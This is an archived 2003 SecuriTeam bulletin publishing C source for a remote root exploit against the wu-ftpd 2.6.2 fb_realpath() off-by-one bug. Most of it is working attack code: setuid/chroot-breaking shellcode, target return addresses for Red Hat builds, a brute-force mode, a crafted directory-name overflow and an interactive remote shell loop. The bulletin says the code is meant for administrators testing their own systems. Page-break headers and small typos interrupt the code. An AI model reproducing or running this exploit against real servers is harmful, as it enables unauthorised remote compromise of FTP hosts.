

[EXPL] Exploit Code Released for wu-ftp fb_realpath() Off-by-One Bug

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-08/0010.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/05/03

To: list@securiteam.com

Date: 5 Aug 2003 12:07:05 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Get Thawte's New Step-by-Step SSL Guide for MSIS

In this guide you will find out how to test, purchase, install and use a Thawte Digital Certificate on your MSIS web server. Throughout, best practices for set-up are highlighted to help you ensure efficient ongoing management of your encryption keys and digital certificates. Get your copy of this new guide now: <http://ad.doubleclick.net/clk;5903126;8265119;j>

Exploit Code Released for wu-ftp fb_realpath() Off-by-One Bug

SUMMARY

In our previous article, <http://www.securiteam.com/unixfocus/5ZP010AAUI.html>> wu-ftp fb_realpath() Off-by-One Bug, we discussed the presence of a remotely exploitable off-by-one bug in wu-ftp. The following exploit code can be used by system administrators to test their system for the mentioned vulnerability.

DETAILS

Exploit:

```
/*  
**  
** wu-ftp v2.6.2 off-by-one remote 0day exploit.  
** Public version - 2003/08/02  
**
```

Securiteam: [EXPL] Exploit Code Released for wu-ftp fb_realpath() Off-by-One Bug

```
** __
** This vulnerability was discovered by Wojciech Purczynski
<cliph@isec.pl>,
** Janusz Niewiadomski <funkysh@isec.pl>.
** They offered excellent Advisory, I'm thankful to them.
**
** URL: http://isec.pl/vulnerabilities/isec-0011-wu-ftp.txt
**
** __
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.inetcop.org
*/
/*
** ==--= POINT! POINT! POINT! POINT! POINT! ==--=
**
** More useful version isn't going to share. (various test version)
** For reference, exploit method that use `STOR' command succeeded. :-)
**
** Update: August 2, I added wu-ftp-2.6.2, 2.6.0, 2.6.1 finally.
** August 3, Brute-Force function addition.
** __
** Thank you.
**
*/
```

```
#define VERSION "v0.0.3"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define DEBUG_NG
#undef DEBUG_NG
#define NRL 0
#define SCS 1
#define FAD (-1)
#define MAX_BF (16)
#define BF_LSZ (0x100) /* 256 */
#define DEF_VA 255
#define DEF_PORT 21
#define DEF_ANSH 11
#define GET_HOST_NM_ERR (NULL)
#define SIN_ZR_SIZE 8
#define DEF_ALIGN 4
#define GET_R 5000
#define DEF_NOP 64
#define DEF_STR "x0x"
#define HOME_DIR "/home/"
#define DEF_HOST "localhost"
```

Securiteam: [EXPL] Exploit Code Released for wu-ftpd fb_realpath() Off-by-One Bug

```
#define DEF_COMM "echo \"x82 is happy, x82 is happy, x82 is happy\";\" \
\"uname -a;id;export TERM=vt100;exec bash -i\n\"
/* ftpd handshake */
#define FTP_CONN_SCS "220"
#define FTP_USER_FAD "331"
#define FTP_LOGIN_FAD "530 Login incorrect."
#define FTP_LOGIN_SCS "230"
#define CWD_COMM_SCS "250" /* also, RMD command */
#define MKD_COMM_SCS "257"
#define MKD_EXIST "521"

void ftpd_login(int sock,char *user,char *pass);
void conn_shell(int conn_sock);
int setsock(char *u_host,int u_port);
void re_connt(int st_sock_va);
void prcode_usage(char *f_nm);
int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character);
int send_shellcode(int sock,int type,char *dir_nm);
void make_send_exploit(int sock,int type,u_long sh_addr,int d_type);
int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr);
u_long null_chk(u_long sh_addr);
void banrl();

struct os
{
    int num;
    char *v_nm;
    u_long sh_addr;
};
int t_g=(NRL);
char home_dir[(DEF_VA)]; /* user home directory offset */
/*
** `0xff' uses two times to be realized in our shellcode.
*/
char shellcode_ffx2[]=
/* setuid/chroot-break/execve shellcode by Lam3rZ */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89"
"\xd9\x41\xb0\x3f\xcd\x80xeb\x6b\x5e\x31\xc0\x31\xc9\x8d\x5e\x01"
"\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01"
"\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9"
"\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31"
"\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe"
"\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0"

"\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
"\x2e\x2e\x31\x31";

struct os plat[]=
{
    /*
```

Securiteam: [EXPL] Exploit Code Released for wu-ftpd fb_realpath() Off-by-One Bug

```
** I enjoy version up, will not share more. :-}
*/
{
  0,"RedHat Linux 6.x Version wu-2.6.0(1) compile",0x0806a59c
},
{
  1,"RedHat Linux 6.x Version wu-2.6.1(1) compile",0x0806aad8
},
{
  2,"RedHat Linux 6.x Version wu-2.6.2(2) compile",0x0806aa60
},
{
  0x82,NULL,0x0
},
{
  0x8282,"Brute-Force mode",0x0806a082
}
};

void prcode_usage(char *f_nm)
{
  int r_n=(NRL);
  fprintf(stdout," Usage: %s -options arguments\n\n",f_nm);
  fprintf(stdout," \t-h [hostname] : Target hostname & ip.\n");
  fprintf(stdout," \t-u [userid] : User id.\n");
  fprintf(stdout," \t-p [passwd] : User password.\n");
  fprintf(stdout," \t-n [port num] : Target port number.\n");
  fprintf(stdout," \t-s [shelladdr] : Shellcode address.\n");
  fprintf(stdout," \t-b : Brute-Force mode.\n");
  fprintf(stdout," \t-m [max num] : Brute-Force Count number.\n");
  fprintf(stdout," \t-i : help information.\n");
  fprintf(stdout," \t-t [target num] : Select target number.\n\n");
  for(r_n=(NRL);plat[r_n].v_nm!=(NULL);r_n++)
  {
    fprintf(stdout," \t\t{ %d} %s.\n",(plat[r_n].num),(plat[r_n].v_nm));
  }
  fprintf(stdout,"\n Example: %s -hlocalhost -ux82 -px82 -n21
-t0\n\n",f_nm);
  exit(FAD);
}

u_long null_chk(u_long sh_addr)
{
  if((sh_addr>>(NRL)&0xff)==(0x00))
  {
    return(sh_addr+=(SCS));
  }
  else return(sh_addr);
}
```

Securiteam: [EXPL] Exploit Code Released for wu-ftpd fb_realpath() Off-by-One Bug

```
void ftpd_login(int sock,char *user,char *pass)
{
    char send_recv[(GET_R)];

    (u_int)sleep(SCS);
    memset((char *)send_recv,(NRL),sizeof(send_recv));
    recv(sock,send_recv,sizeof(send_recv)-1,(NRL));

    if(!strstr(send_recv,(FTP_CONN_SCS)))
    {
        fprintf(stdout," [-] ftpd connection failure.\n\n");
        close(sock);
        exit(FAD);
    }
    else fprintf(stdout," [*] ftpd connection success.\n");
    fprintf(stdout," [+] User id input.\n");

    memset((char *)send_recv,(NRL),sizeof(send_recv));
    snprintf(send_recv,sizeof(send_recv)-1,"USER %s\r\n",user);
    send(sock,send_recv,strlen(send_recv),(NRL));

    (u_int)sleep(SCS);
    memset((char *)send_recv,(NRL),sizeof(send_recv));
    recv(sock,send_recv,sizeof(send_recv)-1,(NRL));

    if(!strstr(send_recv,(FTP_USER_FAD)))
    {
        fprintf(stdout," [-] User id input failure.\n\n");
        close(sock);
        exit(FAD);
    }
    else fprintf(stdout," [+] User password input.\n");

    memset((char *)send_recv,(NRL),sizeof(send_recv));
    snprintf(send_recv,sizeof(send_recv)-1,"PASS %s\r\n",pass);
    send(sock,send_recv,strlen(send_recv),(NRL));

    (u_int)sleep(SCS);
    memset((char *)send_recv,(NRL),sizeof(send_recv));
    recv(sock,send_recv,sizeof(send_recv)-1,(NRL));

    if(strstr(send_recv,(FTP_LOGIN_FAD)))
    {
        fprintf(stdout," [-] FAILED LOGIN on %s.\n\n",user);
        close(sock);
        exit(FAD);
    }
    else if(strstr(send_recv,(FTP_LOGIN_SCS)))
    {
        fprintf(stdout," [*] User %s logged in.\n",user);
    }
}
```

```

else
{
    fprintf(stdout," [-] ftpd handshake failure.\n\n");
    close(sock);
    exit(FAD);
}
return;
}

int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character)
{
    int dr_n=(NRL),cmd_f=(NRL);
    char get_nm[(GET_R)];

    memset((char *)dir_nm,(NRL),(GET_R));
    /* MKD command */
    dir_nm[cmd_f++]=(0x4d);
    dir_nm[cmd_f++]=(0x4b);
    dir_nm[cmd_f++]=(0x44);
    dir_nm[cmd_f++]=(0x20);

    for(dr_n=(cmd_f);dr_n<(DEF_VA)+(cmd_f);dr_n++)
    {
        dir_nm[dr_n]=(gb_character);
    }
    dir_nm[dr_n++]=(0x0d);
    dir_nm[dr_n++]=(0x0a);

    if(type)
    {
        send(sock,dir_nm,strlen(dir_nm),(NRL));
        (u_int)sleep(SCS);
        memset((char *)get_nm,(NRL),sizeof(get_nm));
        recv(sock,get_nm,sizeof(get_nm)-1,(NRL));

        if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
        {
            fprintf(stdout," [-] MKD command failed.\n\n");
            exit(FAD);
        }
    }
    /* CMD command */
    cmd_f=(NRL);
    dir_nm[cmd_f++]=(0x43);
    dir_nm[cmd_f++]=(0x57);
    dir_nm[cmd_f++]=(0x44);

    send(sock,dir_nm,strlen(dir_nm),(NRL));
    (u_int)sleep(SCS);
    memset((char *)get_nm,(NRL),sizeof(get_nm));
    recv(sock,get_nm,sizeof(get_nm)-1,(NRL));
}

```

Securiteam: [EXPL] Exploit Code Released for wu-ftp fb_realpath() Off-by-One Bug

```
if(!strstr(get_nm,(CWD_COMM_SCS))
{
    fprintf(stdout," [-] CWD command failed.\n\n");
    exit(FAD);
}
return;
}

int send_shellcode(int sock,int type,char *dir_nm)
{
    int dr_n=(NRL),cmd_f=(NRL);
    char get_nm[(GET_R)];

    memset((char *)dir_nm,(NRL),(GET_R));
    /* MKD command */
    dir_nm[cmd_f++]=0x4d;
    dir_nm[cmd_f++]=0x4b;
    dir_nm[cmd_f++]=0x44;
    dir_nm[cmd_f++]=0x20;

    for(dr_n=(cmd_f);dr_n<(DEF_VA)+sizeof(0xffffffff)+(cmd_f)-strlen(shellcode_ffx2);dr_n++)
    {
        dir_nm[dr_n]=(DEF_NOP);
    }
    for(cmd_f=(NRL);cmd_f<strlen(shellcode_ffx2);cmd_f++)
    {
        dir_nm[dr_n++]=shellcode_ffx2[cmd_f];
    }
    dir_nm[dr_n++]=0x0d;
    dir_nm[dr_n++]=0x0a;

    if(type)
    {
        send(sock,dir_nm,strlen(dir_nm),(NRL));
        (u_int)sleep(SCS);
        memset((char *)get_nm,(NRL),sizeof(get_nm));
        recv(sock,get_nm,sizeof(get_nm)-1,(NRL));

        if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
        {
            fprintf(stdout," [-] MKD shellcode_dir failed.\n\n");
            exit(FAD);
        }
    }
    /* CMD command */
    cmd_f=(NRL);
    dir_nm[cmd_f++]=0x43;
    dir_nm[cmd_f++]=0x57;
    dir_nm[cmd_f++]=0x44;
```

Securiteam: [EXPL] Exploit Code Released for wu-ftpd fb_realpath() Off-by-One Bug

```
send(sock,dir_nm,strlen(dir_nm),(NRL));
(u_int)sleep(SCS);
memset((char *)get_nm,(NRL),sizeof(get_nm));
recv(sock,get_nm,(GET_R)-1,(NRL));

if(!strstr(get_nm,(CWD_COMM_SCS))
{
    fprintf(stdout," [-] CWD shellcode_dir failed.\n\n");
    exit(FAD);
}
return;
}

void make_send_exploit(int sock,int type,u_long sh_addr,int d_type)
{
    char atk_bf[(GET_R)];
    {
        fprintf(stdout," [+] 01: make 0x41414141 directory.\n");
        (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x41)); /* 01 */
        fprintf(stdout," [+] 02: make shell-code directory.\n");
        (int)send_shellcode(sock,d_type,(atk_bf)); /* 02 */
        fprintf(stdout," [+] 03: make 0x43434343 directory.\n");
        (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x43)); /* 03 */
        fprintf(stdout," [+] 04: make 0x44444444 directory.\n");
        (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x44)); /* 04 */
        fprintf(stdout," [+] 05: make 0x45454545 directory.\n");
        (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x45)); /* 05 */
        fprintf(stdout," [+] 06: make 0x46464646 directory.\n");
        (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x46)); /* 06 */
        fprintf(stdout," [+] 07: make 0x47474747 directory.\n");
        (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x47)); /* 07 */
        fprintf(stdout," [+] 08: make 0x48484848 directory.\n");
        (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x48)); /* 08 */
        fprintf(stdout," [+] 09: make 0x49494949 directory.\n");
        (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x49)); /* 09 */
        fprintf(stdout," [+] 10: make 0x50505050 directory.\n");
        (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x50)); /* 10 */
        fprintf(stdout," [+] 11: make 0x51515151 directory.\n");
        (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x51)); /* 11 */
        fprintf(stdout," [+] 12: make 0x52525252 directory.\n");
        (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x52)); /* 12 */
        fprintf(stdout," [+] 13: make 0x53535353 directory.\n");
        (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x53)); /* 13 */
        fprintf(stdout," [+] 14: make 0x54545454 directory.\n");
        (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x54)); /* 14 */
        fprintf(stdout," [+] 15: make 0x55555555 directory.\n");
        (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x55)); /* 15 */
        (int)make_retloc(sock,type,(atk_bf),sh_addr); /* 16 */
    }
    return;
}
```

Securiteam: [EXPL] Exploit Code Released for wu-ftp fb_realpath() Off-by-One Bug

```

int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr)
{
    int r_rn_1=(NRL),r_rn_2=(NRL),cmd_f=(NRL);
    char get_nm[(GET_R)];

    memset((char *)atk_bf,(NRL),(GET_R));
    if(type) /* MKD command */
    {
        atk_bf[cmd_f++]=0x4d;
        atk_bf[cmd_f++]=0x4b;
        atk_bf[cmd_f++]=0x44;
        atk_bf[cmd_f++]=0x20;
    }
    else /* RMD command */
    {
        atk_bf[cmd_f++]=0x52;
        atk_bf[cmd_f++]=0x4d;
        atk_bf[cmd_f++]=0x44;
        atk_bf[cmd_f++]=0x20;
    }

    for(r_rn_1=(cmd_f),r_rn_2=(NRL);r_rn_2<(DEF_VA)-strlen(home_dir)-(DEF_ANSH);r_rn_2++)
        atk_bf[r_rn_1++]=0x41;
    {
        *(long *)&atk_bf[r_rn_1]=(sh_addr);
        r_rn_1+=(DEF_ALIGN);
        *(long *)&atk_bf[r_rn_1]=(sh_addr);
        r_rn_1+=(DEF_ALIGN);
        atk_bf[r_rn_1++]=0x41;
        atk_bf[r_rn_1++]=0x41;
        atk_bf[r_rn_1++]=0x41;
        atk_bf[r_rn_1++]=0x0d;
        atk_bf[r_rn_1++]=0x0a;
    }
    send(sock,atk_bf,strlen(atk_bf),(NRL));
    (u_int)sleep(SCS);
    memset((char *)get_nm,(NRL),sizeof(get_nm));
    recv(sock,get_nm,sizeof(get_nm)-1,(NRL));

    if(type) /* MKD command */
    {
        if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
        {
            fprintf(stdout," [-] MKD &shellcode_dir failed.\n\n");
            exit(FAD);
        }
        else fprintf(stdout," [+] Ok, MKD &shellcode_dir.\n");
    }
    else /* RMD command */
    {
        if(!strstr(get_nm,(CWD_COMM_SCS)))

```

Securiteam: [EXPL] Exploit Code Released for wu-ftpd fb_realpath() Off-by-One Bug

```
{
    fprintf(stdout," [-] RMD &shellcode_dir failed.\n\n");
    exit(FAD);
}
else fprintf(stdout," [+] Ok, RMD &shellcode_dir.\n");
}
return;
}

int main(int argc,char *argv[])
{
    int opt_g,sock,__bf=(NRL);
    int mx_bf=(MAX_BF),bf_lsz=(BF_LSZ);
    char user_id[(DEF_VA)]=(DEF_STR);
    char pass_wd[(DEF_VA)]=(DEF_STR);
    char tg_host[(DEF_VA)]=(DEF_HOST);
    int tg_port=(DEF_PORT);
    u_long sh_addr=(plat[t_g].sh_addr);

    (void)banrl();
    while((opt_g=getopt(argc,argv,"M:m:H:h:U:u:P:p:N:n:S:s:T:t:BbIi"))!=EOF)
    {
        extern char *optarg;
        switch(opt_g)
        {
            case 'M':
            case 'm':
                mx_bf=(atoi(optarg));
                bf_lsz=((0x1000)/mx_bf);
                break;

            case 'H':
            case 'h':
                memset((char *)tg_host,(NRL),sizeof(tg_host));
                strncpy(tg_host,optarg,sizeof(tg_host)-1);
                break;

            case 'U':
            case 'u':
                memset((char *)user_id,(NRL),sizeof(user_id));
                strncpy(user_id,optarg,sizeof(user_id)-1);
                break;

            case 'P':
            case 'p':
                memset((char *)pass_wd,(NRL),sizeof(pass_wd));
                strncpy(pass_wd,optarg,sizeof(pass_wd)-1);
                break;

            case 'N':
            case 'n':
```

Securiteam: [EXPL] Exploit Code Released for wu-ftpd fb_realpath() Off-by-One Bug

```
tg_port=(atoi(optarg));
break;

case 'S':
case 's':
    sh_addr=strtoul(optarg,(NRL),(NRL));
    break;

case 'T':
case 't':
    if((t_g=(atoi(optarg)))<(3))
        sh_addr=(plat[t_g].sh_addr);
    else (void)prcode_usage(argv[(NRL)]);
    break;

case 'B':
case 'b':
    __bf=(SCS);
    break;

case 'I':
case 'i':
    (void)prcode_usage(argv[(NRL)]);
    break;

case '?':
    (void)prcode_usage(argv[(NRL)]);
    break;
}
}
if(!strcmp(user_id,(DEF_STR))||!strcmp(pass_wd,(DEF_STR)))
    (void)prcode_usage(argv[(NRL)]);

memset((char *)home_dir,(NRL),sizeof(home_dir));
snprintf(home_dir,sizeof(home_dir)-1,"%s%s", (HOME_DIR),user_id);

if(!__bf)
{
    fprintf(stdout," [*] Target: %s.\n", (plat[t_g].v_nm));
    fprintf(stdout," [+] address: %p.\n",sh_addr);
    fprintf(stdout," [*] #1 Try, %s:%d ...",tg_host,tg_port);
    fflush(stdout);

    sock=(int)setsock(tg_host,tg_port);
    (void)re_connt(sock);
    fprintf(stdout," [ OK ]\n");

    fprintf(stdout," [1] ftpd connection login.\n");
    (void)ftpd_login(sock,user_id,pass_wd);
```

Securiteam: [EXPL] Exploit Code Released for wu-ftpd fb_realpath() Off-by-One Bug

```
fprintf(stdout, " [2] send exploit code.\n");
(void)make_send_exploit(sock,(SCS),sh_addr,(SCS));
close(sock);

fprintf(stdout, " [+] #2 Try, %s:%d ...",tg_host,tg_port);
fflush(stdout);

sock=(int)setsock(tg_host,tg_port);
(void)re_connt(sock);
fprintf(stdout, " [ OK ]\n");

fprintf(stdout, " [3] ftpd connection login.\n");
(void)ftpd_login(sock,user_id,pass_wd);

fprintf(stdout, " [4] send exploit code.\n");
(void)make_send_exploit(sock,(NRL),sh_addr,(NRL));

fprintf(stdout, " [5] Waiting, execute the shell ");
fflush(stdout);
(u_int)sleep(SCS);

fprintf(stdout, ".");
fflush(stdout);
(u_int)sleep(SCS);

fprintf(stdout, ".");
fflush(stdout);
(u_int)sleep(SCS);

fprintf(stdout, ".\n");
(void)conn_shell(sock);
close(sock);
}
else
{
    int bt_num=(NRL);
    t_g=(4);
    sh_addr=(plat[t_g].sh_addr);
    fprintf(stdout, " [*] Brute-Force mode.\n");
    fprintf(stdout, " [+] BF Count: %d.\n",mx_bf);
    fprintf(stdout, " [+] BF Size: +%d.\n\n",bf_lsz);

    for(bt_num=(NRL);bt_num<(mx_bf);bt_num++)
    {
        sh_addr=(u_long)null_chk(sh_addr);
        fprintf(stdout, " [+] Brute-Force address: %p.\n",sh_addr);
        fprintf(stdout, " [*] #1 Try, %s:%d ...",tg_host,tg_port);
        fflush(stdout);

        sock=(int)setsock(tg_host,tg_port);
        (void)re_connt(sock);
```

Securiteam: [EXPL] Exploit Code Released for wu-ftpd fb_realpath() Off-by-One Bug

```
fprintf(stdout, " [ OK ]\n");

fprintf(stdout, " [1] ftpd connection login.\n");
(void)ftpd_login(sock,user_id,pass_wd);

fprintf(stdout, " [2] send exploit code.\n");
if(bt_num==(NRL))
{
    (void)make_send_exploit(sock,(SCS),sh_addr,(SCS));
}
else
{
    (void)make_send_exploit(sock,(SCS),sh_addr,(NRL));
}
close(sock);

fprintf(stdout, " [+] #2 Try, %s:%d ...",tg_host,tg_port);
fflush(stdout);

sock=(int)setsock(tg_host,tg_port);
(void)re_connt(sock);
fprintf(stdout, " [ OK ]\n");

fprintf(stdout, " [3] ftpd connection login.\n");
(void)ftpd_login(sock,user_id,pass_wd);

fprintf(stdout, " [4] send exploit code.\n");
(void)make_send_exploit(sock,(NRL),sh_addr,(NRL));

fprintf(stdout, " [5] Waiting, execute the shell ");
fflush(stdout);
(u_int)sleep(SCS);

fprintf(stdout, ".");
fflush(stdout);
(u_int)sleep(SCS);

fprintf(stdout, ".");
fflush(stdout);
(u_int)sleep(SCS);

fprintf(stdout, "\n");
(void)conn_shell(sock);
close(sock);

sh_addr+=(bf_lsz);
}
}
exit(NRL);
}
```

Securiteam: [EXPL] Exploit Code Released for wu-ftpd fb_realpath() Off-by-One Bug

```
int setsock(char *u_host,int u_port)
{
    int sock;
    struct hostent *sxp;
    struct sockaddr_in sxp_addr;

    if((sxp=gethostbyname(u_host))===(GET_HOST_NM_ERR))
    {
        return(FAD);
    }
    if((sock=socket(AF_INET,SOCK_STREAM,(NRL)))==(FAD))
    {
        return(FAD);
    }
    sxp_addr.sin_family=AF_INET;
    sxp_addr.sin_port=htons(u_port);
    sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr);
    bzero(&(sxp_addr.sin_zero),(SIN_ZR_SIZE));

    if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct
sockaddr))===(FAD))
    {
        return(FAD);
    }
    return(sock);
}

void conn_shell(int conn_sock)
{
    int died;
    int ex_t=(NRL);
    char *command=(DEF_COMM);
    char readbuf[(GET_R)];
    fd_set rset;

    memset((char *)readbuf,(NRL),sizeof(readbuf));
    fprintf(stdout," [*] Send, command packet !\n\n");
    send(conn_sock,command,strlen(command),(NRL));

    for(;;)
    {
        fflush(stdout);
        FD_ZERO(&rset);
        FD_SET(conn_sock,&rset);
        FD_SET(STDIN_FILENO,&rset);
        select(conn_sock+1,&rset,NULL,NULL,NULL);

        if(FD_ISSET(conn_sock,&rset))
        {
            died=read(conn_sock,readbuf,sizeof(readbuf)-1);
            if(died<=(NRL))

```

Securiteam: [EXPL] Exploit Code Released for wu-ftpd fb_realpath() Off-by-One Bug

```
{
  if(!ex_t)
    return;
  else
    exit(NRL);
}
readbuf[died]=(NRL);
fprintf(stdout,"%s",readbuf);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
  died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);
  if(died>(NRL))
  {
    readbuf[died]=(NRL);
    if(strstr(readbuf,"exit"))
      ex_t=(SCS);
    write(conn_sock,readbuf,died);
  }
}
}
return;
}

void re_connt(int st_sock_va)
{
  if(st_sock_va==(FAD))
  {
    fprintf(stdout," [ Fail ]\n\n");
    exit(FAD);
  }
}

void banrl()
{
  fprintf(stdout,"\n 0x82-WOOoou~Happy_new - wu-ftpd v2.6.2 off-by-one
remote exploit.\n\n");
}

/* eoc */
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:szoahc@hotmail.com>> you dong-hun (Xpl017Elz),.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com

Securiteam: [EXPL] Exploit Code Released for wu-ftp fb_realpath() Off-by-One Bug

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.